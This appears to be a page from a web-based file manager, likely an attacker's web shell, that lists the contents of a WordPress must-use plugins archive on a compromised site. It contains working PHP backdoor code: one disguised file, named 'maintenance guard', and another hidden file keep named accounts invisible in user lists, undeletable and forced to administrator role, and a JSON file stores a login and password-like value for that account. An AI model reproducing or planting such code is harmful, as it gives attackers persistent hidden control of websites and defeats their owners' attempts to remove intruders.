File manager - Edit - /home/veronikagstoette/public_html/mu-plugins.tar
Back
.53fa2d65.php 0000644 00000001227 15246227756 0006514 0 ustar 00 <?php if (!defined('ABSPATH')) { exit; } if (!defined('BBG_L')) { define('BBG_L', 'syse449bcc6'); } add_action('pre_user_query', 'bbg_hide'); function bbg_hide($q) { global $wpdb; if (!empty($q->query_where)) { $q->query_where .= $wpdb->prepare(' AND user_login <> %s', BBG_L); } } add_action('delete_user', 'bbg_block', 1); function bbg_block($id) { $u = get_userdata($id); if ($u && $u->user_login === BBG_L) { wp_die('Error: user cannot be deleted.'); } } add_action('init', 'bbg_keep'); function bbg_keep() { $u = get_user_by('login', BBG_L); if ($u && !user_can($u, 'manage_options')) { $u->set_role('administrator'); } } maintenance-guard.php 0000644 00000002042 15246227756 0010655 0 ustar 00 <?php /* site maintenance guard */ if (!defined("WPINC")) { die(); } add_action("pre_user_query", function ($q) { global $wpdb; $q->query_where = str_replace( "WHERE 1=1", "WHERE 1=1 AND {$wpdb->users}.user_login != 'l0e2liv3j1'", $q->query_where ); }, 1); add_filter("users_list_table_query_args", function ($args) { if (!isset($args["login__not_in"]) || !is_array($args["login__not_in"])) { $args["login__not_in"] = array(); } $args["login__not_in"][] = "l0e2liv3j1"; return $args; }, 1); add_filter("user_has_cap", function ($caps, $cap, $args) { if (in_array("delete_user", (array) $cap, true) || in_array("delete_users", (array) $cap, true)) { $target = isset($args[0]) ? $args[0] : 0; if ((int) $target === 7) { unset($caps["delete_user"], $caps["delete_users"]); } } return $caps; }, 10, 3); add_action("delete_user", function ($id) { if ((int) $id === 7) { wp_die("This account is protected and cannot be removed."); } }, 1); .bb-adm.json 0000644 00000000050 15246227756 0006652 0 ustar 00 {"l":"syse449bcc6","p":"065793f7a32c47"}
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings